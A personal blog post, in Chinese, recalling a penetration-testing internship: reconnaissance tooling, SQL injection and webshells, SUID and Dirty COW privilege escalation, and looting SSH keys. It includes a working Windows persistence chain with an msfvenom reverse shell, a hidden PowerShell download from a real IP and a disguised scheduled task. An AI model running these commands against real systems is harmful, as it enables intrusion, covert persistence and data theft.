协力实习回忆
目录
前言
大二下的时候是去协力科技进行了渗透岗位的实习,虽然只是短短实习了40多天,但也是收获了许多的实战的经验,和合作的经历。
回忆与思考
由于是渗透岗位,所以上面会给很多域名来让我们发挥,并提供一个FOFA的会员账号来让我们小组使用。
以下就是这个实习过程中的一些回忆,顺便将自己的一些小的经验分享出来,后面也会有专题类型的分享。
扫描
首先就是信息搜集,按照我的习惯,我喜欢使用OneForAll来进行子域名的信息搜集,从我自己的使用经历来看,我觉得OneForAll搜集到的信息还是比较全面的。
python .\oneforall.py --target libestor.top run
在使用oneforall的时候,高版本的python可能会有些bug,不过都是可以修复的
搜集的信息最后会生成一个csv文件,当然这个文件也是需要进行简单的过滤的,我的过滤一般如下:
-
过滤端口只为80
大部分web站都会开启80端口作为web公开访问端口(有时候会用来跳转到443)
-
设置网站状态status为200
除非需要深入挖掘网站信息,否则主要关注200的站会更高效
之后就是对所有的站一个一个的在浏览器中打开查看,在这个过程也是主要干一件事,就是使用oneforall熟悉一下网站的架构,使用了什么中间件(当然这个在oneforall的结果中也可以看到),使用了什么cms等。
这个过程中也可以穿插些目录扫描和端口扫描。
目录扫描基本都是会进行一次的,端口扫描可能就不一定都会进行。
先说目录扫描,我用的比较多的是dirsearch,其次是gobuster。dirsearch在kali中使用,gobuster在windows中使用。诚然,对于用go写的gobuster扫描速度是要比老牌python写的dirsearch要快,但是当网速有限的时候,这种差距就不在明显,网络io的影响会更为严重(公司用来渗透的网速相当慢),所以一般都是使用的dirsearch扫的(主要是人家还默认有字典,不想gobuster还要我指定。
dirsearch:
# 默认使用方法
dirsearch -u libestor.top
# 指定语言
dirsearch -u libestor.top -e php
# 指定过滤器
dirsearch -u libestor.top -x 404,403
# 一般来说以上三个就够用了
gobuster
# 默认扫描
gobuster dir -u libestor.top -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
至于nmap就是简单的端口检查,服务版本检查:
# 端口扫描
sudo nmap -sS -p- libestor.top
# 服务版本检查
sudo nmap -sT -p80,443,.... -sC -O libestor.top
# 当然也可以进行nmap漏洞扫描
nmap --script=vuln libestor.top
因为站很多,然后就开始的枯燥的,扫描,点击,扫描,点击,数量一多其实不能给每个站都认真分析了,于是就想着写个小的脚本来自动完成oneforall扫描,扫描结果过滤后输入到dirsearch中进行目录扫描。
整个开个过程中其实是失败的,失败就失败在oneforall和dirsearch在高并发下会出现非常严重的bug(当初就是想的使用并发来提到效率)oneforall有公开的类可以调用,但是ondforall使用了sqllite,所以对于并发的支持性并不高,dirsearch则是调用较为麻烦,而且实测下在并发下的速度并没有比串行下快(一部分原因是受到网速影响)。最后这个造轮子的过程是以失败告终的(为数不多的收获就是又熟悉了一下numpy的操作)。
既然自己造不了轮子,那就使用现成的高科技,我这里使用的是灯塔:ARL
好的是灯塔是有现成的docker的,从官网中下载,然后填好配置就可以运行,官方建议是运行在1c2g还是2h4g的环境我记不清了,并且灯塔还支持fofa协作搜索,和nuclei辅助扫描。但我觉得这并不能完全发挥灯塔的全部实力,当我们对一个网站进行端口+目录+漏洞扫描的话,如果这个网站又WAF,那么大概率是会被BAN IP从而无法完成扫描操作的,更严重的是如果这是个云WAF更是会将IP设置为黑名单。所以我想的是再为灯塔加一层动态代理池,可以使用一些公开的代理网站,然后写个用来连接代理池和灯塔的代码就可以实现这一个操作,如果后面有时间的话,我可以考虑做一个这样服务于灯塔的代理池(如果灯塔有代理池就当我没说。)
突破一
第一个突破我不记得是什么时候了,但是我记得是我当时发现了一个疑似sql注入的点,当我输入'"
在一个登录框中的时候,服务端的回复不同于预期值,我猜大概率是存在sql注入的,而且是时间盲注。之后我就开始使用根据自己的习惯开始了 手注,经过半个多小时的尝试,最后还是没能成功利用上,更别说是写出利用脚本了。但是隔壁的师傅已经使用sqlmap扫描出用户名了。
诚然,手注出来确实值得骄傲,但是我没有那个实例,而且一个网站能简单测出来sql注入漏洞,那么就说明大概率是没什么防护的,尤其是这种时间盲注,用工具确实是更快,也算是让我这个赛棍涨了点知识吧。
能在登录框中直接注入的站,到后台也是没有什么悬念,随便找了个注入点就上传了一个jsp的马,连接当时我是使用的哥斯拉来连接的,这也算是第一次正式使用这个工具了(主要是当时手头只有这个工具,比赛一般用的都是蚁剑)。可惜的是这是一个云服务器,并没有内网,而且还是很久没有人管理的网站,算是任务完成了。
对我来说本次的任务并没有完成,毕竟我们当时拿到手的只是一个www-data的权限,接下来就是提权了。
对于提权而言,首先想到的就是suid,平时做题偶尔会出现一道suid的data读取数据的题,在这个站中我也是简单的扫描了一下suid的文件:
find / -user root -perm -4000 2>/dev/null
最离谱的事情就发现,我竟然发现find具有suid权限,然后使用指令
find /etc/passwd -exec whoami \;
就直接提权到root了,也算是我对这个目标站的最后一点的贡献了。
真是CTF照射到显示了,事实证明CTF还是很有用的。
突破二
在介绍第二个突破前,先介绍一个我这个假期新了解到的一个工具:nuclei,一个用go写的轻量级的漏洞扫描工具,第一次看到这个工具是在灯塔上,人家说支持nuclei, 当时也没想太多,后来正式了解是在P牛的博客上,上面有讨论到这个工具,我就想着去试一下。
然后我当时就正好拿到了一个站,发现了一个我没听过的一个c#框架DNN,也不知道有什么可用的漏洞,也不知道具体版本,就顺便用nuclei去扫描了一下,就扫描出来了一个DNN的一个高危漏洞,是一个XXE的漏洞,可以执行命令,读取文件。
之后这个站就是我全权负责的,不过这个站的优先级不是很多,就只让我一个人渗透了。
刚拿到这个站的时候我其实是挺懵的,不知道要如何去深入利用,只是反弹了个msf然后就翻数据,由于不太了解Windows server的web在哪,就找我进来的这个网站根目录我就找了半天,最后还是一个老师傅告诉我,是在c根目录下一的一个wwwroot路径下,这时我才发现这个网站的全貌。后面想法是上传一个web的后门,但人家这个网站未知的asp无法运行,需要对人家的网站进行修改才行,为了不被太早发现我就没修改人家的web网站。查进程,从进程中我是没有发现有安全程序的,但是当我传入fscan的时候缺被告知无法使用,刚开始以为是没有权限,还查了很多关于设置权限的地方,后来才知道是被杀软拦截了(因为就这个程序不见了,其他都还在,排除被人删除的可能)
在后面就是上传了一个7z的压缩程序,然后将nishang直接上传上去,用nishang来进行内网的扫描。不过比较可惜的是nishang以前用的不是很多,也就只能现学现用,所有很耽误时间,内网的其他机器也就没有都获取完成。
权限维持
权限维持当时首先就是想到了上传一个一句话加密的asp到一个隐蔽的web路径下,但是很快就发现web路径下的马不能使用,平时接触的asp的站不是很多,也就只能草草收场了。
因为当时是使用了msf嘛,所以就想着msf是自带权限维持的,自己一查是由看到一个Persistence模块,简单看了下原理,就是设置一个计划任务,然后自动部署一个反弹shell的脚本,让它间隔一段时间时间去自动运行,从而达到权限维持的目的。
可惜的是当时我的msf无法使用这个模块,人家提示这个模块不存在,很无奈我就只能手动实现这个模块的功能。
首先就是生成一个用于反弹的msf的ps1文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=46666 --arch x64 --platform windows -f psh-reflection -o temp.ps1
然后使用一个ps1来加载这个这个木马:
help.ps1
iwr -Uri "38.54.56.18:8888/temp.ps1" -o C:\Windows\Temp\NetFileTemp.ps1
powershell -windowstyle hidden C:\Windows\Temp\NetFileTemp.ps1
Remove - Item C:\Windows\Temp\NetFileTemp.ps1
然后就是去写一个bat去启动它
@echo off
powershell help.ps1
接着就是使用一个vbs来启动这个bat,为什么要使用vbs,因为我发现如果直接启动bat的话还是会有窗口闪动的,于是就只能使用vbs来启动它。
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "C:\windows\Help\windows\help.bat",0
至于上面这些文件呢,我是打算放到C:\windows\Help\windows\这个路径的。
最后就是使用计划任务去周期的执行这个vbs文件
schtasks /create /sc minute /mo 20 /tn "RtkAudUService64_BP" /tr "C:\windows\Help\windows\help.vbs" /ru illya /rp Asd12345
不过很可以很快就被人家发现给清除了(也有可能是因为没有C:\windows\Help\windows这个路径的访问权限。)
最后还是很可惜没有维持住权限,当管理员修复这个web的漏洞后我就没有办法继续利用这个网站了,也是十分可惜的。
突破三
外网突破
最后一个网站的突破也是很有意思的,很大程度上可以归类为开发人员的问题。
首先遇到这个站是因为老板给了我们一个3G左右的压缩包,告诉我们这是一个站的源码,是他们进行扫描的时候扫到的,希望我们可以深入利用一下。
首先拿到站和源码之后就进行了一个简单的对比,了解了一下每个地方都是对应的哪个地方。之后我是发现这个站下面由很多的站,web根目录是一个网站,然后这个网站又会被复制到一个文件夹,接着放到源站下,又是一个网站, 这样重复多次,就构成了这个源码:一个充斥着各种通过复制达到复用的网站。
从另一方面来看,也说明了这个站所暴露的攻击面之大。
起初的时候是发现了存在sql注入的问题,有意思的是很多网站虽然存在登录口,但是没办法连接到数据库,试了很多才实验出来一个存在数据库可用的网站,然后就是顺利使用sqlmap爬出了几组数据(这次留心了,没再花很多时间去手注),然后去cmd5买点数据就顺利得到了两个身份信息,并登录到后台。
人家的后台内容很杂,且重复度很杂,就打算从代码出发寻找上传点,这也算是这次打点的高潮了。我通过对文件上传过程中的敏感对象:$_FILES
进行全局搜索,发现了一个上传点,不过很可惜的是发现这个上传点是存在白名单的,包括其他的几个其他文件类型的上传点都一样,只不过是白名单的内容不同,然后对照网站找到了对应的功能点,然后定位查看,都不能上传。
但是我也发现有一些php页面没有白名单,其他内容全部相同,就像上传的php叫:uxx.php 那么这个文件就叫uxx_1.php 我当时一下就反应过来了,这是曾经的上传文件,或者说是备份文件,然后去访问这个uxx_1.php的时候发现确实存在,那么这时候思路就十分简单了,构造上传包,然后上传。
其实这个地方还有一个难点,就是人家的上传逻辑中,是做了重复上传的防范的,每次上传的时候都会给文件头前加一段基于时间和随机的md5的6为字符。一般来说非可访问目录都会加一个index.html或者index.php来阻止当前目录被呈现出去,可以找个网站并没有,于是我们很容易就找到了上传的木马,然后就顺利利用上传的木马,从而获取到一个www的用户权限。
提权
这个网站的提权是我提权历时最久的一个,大概花费了3天时间。当时拿到这个网站www权限后,就直接反弹了shell使用,不过这个shell没有tty,导致操作十分不便。然后就是查看sudo权限,当然是无果的,毕竟是一个www的用户,但是我发现人家在etc
路径下的sudoers.d
文件夹竟然是777的权限,我当时都惊呆了:这不是直接个任意用户sudo权限了嘛。
不过很快我就发现我利用不了,因为第一次用sudo启动root命令的时候是需要输入一次密码的,我一个www用户何来的密码可言,人家直接就是一个x放在密码位置了(最后得到root后实验了也是不行)。然后我就认为我得到了一条从普通用户到root用户的途径,也就是说我现在可以从www用户到普通用户出发,也可以从www到root用户。
然后就是去寻找其他信息,然后就发现人家linux系统的内核是2.3.32,一个经典的脏牛漏洞范围(好吧,我承认是用内核探针探出来的)。那就尝试嘛,然后就发现了一个很离谱的事情:人家服务器没有gcc。
自己就只能在kali上静态编译,然后上传到靶机上,然后运行。虽然脏牛很出名,不缺exp但是问题是太过exp导致我一时间没找到合适的exp就这个exp我找了很多很多,要么不能用,要么不能运行,有很长一段时间我都以为人家已经修复这个漏洞了,但是因为没其他路走了嘛,就只好不断的尝试其他的poc,最后是使用一个修改用户的poc成功,但是这个不好用,进而换成了另一个修改passwd文件的poc,在这个dirty cow wiki 然后就运行passwd就可以获取root权限。
获取到root权限后,就开始进行两个操作,一个是维持root的权限,一个是在root下进行信息搜集。
首先先说维持root权限我的想法是使用suid进行权限维持,但是失败了,不论我怎么给程序设置suid,或者给什么程序设置suid,都不可避免的导致当我退出当前权限后,权限消失的情况。第二个权限维持的思路就是创建一个新的账户,然后将该用户放到sudo权限下。但是问题是我没有办法去ssh连接这个用户,当前存在的shell是不可交互的,就很麻烦,没有什么好一点的权限维持方法(其实可以尝试下计划任务维权,不过人家是写了计划任务的,怕暴露)主要来说话是自己所掌握的方法太少。
再就是信息搜集,首先就是直接将/root
路径和/home
路径直接打包下载了下来,这也是我提权的主要目的之一,获得更多信息。在home下的众多用户的history中,实际上是没有发现很有价值的信息的,大部分信息都是十分普通的修改代码或者备份数据。但是在root的history中我是发现了一些有价值的信息的。首先就是一对公私钥,以及在authorized_keys
下面的私钥和已经保存的连接过的数据信息(虽然已加密),之后就可以通过这个数据去横向连接到其他机器中去。(不过那时候我已经离职了)
总结与评价
总的来说这次的实习是确实学习到了很多知识,但是也暴露了自己很多的不足点。首先是在突破点一的地方,一方面就是自己没想到使用sqlmap来跑,同时也对sqlmap能够跑出来,以及人家使用的poc十分感兴趣,就想着自己去看看sqlmap的源代码,在突破一另外的一个的收获就是熟悉了一下哥斯拉的简单使用,虽说大多数的webshell管理攻击都差不多,但是自己也是需要都熟悉一下,都了解一下,会使用并且知晓各自的优点。
再就是突破二的内容了。在突破二中,完全是我进行渗透的,同时我作为一个新人总是畏手畏脚,没有收集到很多信息,还怕被发现而不敢操作,最终导致失去shell,捶胸顿足但是无可奈何。突破二的内网扫描上,我一般都是使用fscan扫描的,人家直接把fscan给ban了,就导致我一下子不会内网扫描了,虽然当时我手握msf的system权限,拥有一个完整版的nishang但都不会使用,导致失败,还有就是当时没有及时搭建代理并对内网进行探测。不过也算是我第一次接触域渗透吧,算是开了个头吧,毕竟万事开头难,不亏。
对于突破三而言,我打进了内网,并且获得的入口机器root权限,已经是非常好的开端了,可惜的是最后假期时间不够了,只能回学校了,后面的渗透都没有办法进行下去了,但是这也使得我对初步的渗透流程有了了解。在内网的探测中,我发现了很多虚拟化的设备,例如vcenter,esxi等等,也是缺少对这些设备渗透的经验,不知道有哪些设备可以使用,哪些设备可能存在漏洞等等,进而失去了很多机会。在获取入口机的root后我找到了很多以前连接的ssh指纹,不过是加密的,当时也是没有及时破解出来,不然就可以直接使用ssh连接去查看对应的机器,说不定会有新的发现。
总的来说这次的实习收获还是很多的,收获了很多实战经验,算是开了个好头,交了很多好朋友,有了些协作渗透的经验,十分满意。
心得与未来
这次渗透虽然时间很短,但是结束的时候还是很有想法的。最大的感受就是CTF照进生活了,很多经验都是CTF的样题,或者CTF中的知识点,真的感受到了CTF的价值(当然也不排除我打的站很老,但是CTF最新的题也都源自于生活)。之后的话就是像自己本地搭建一些靶机,一些带有域渗透的靶机来重新学习一下,同时开始了解了解域下的一些渗透方法,学习下域下有哪些渗透工具可以使用。这也算是下一年的新的学习方向吧。同时也是想把CTF重新学一学,多去学习新的trick,丰富自己的知识和见识。后面也会写一些新的blog关于这次实习中自己所确实的知识,例如完整的代理搭建思路,域内知识点,kerberos认证协议等等知识。
路漫漫其修远兮,吾将上下而求索。与君共勉。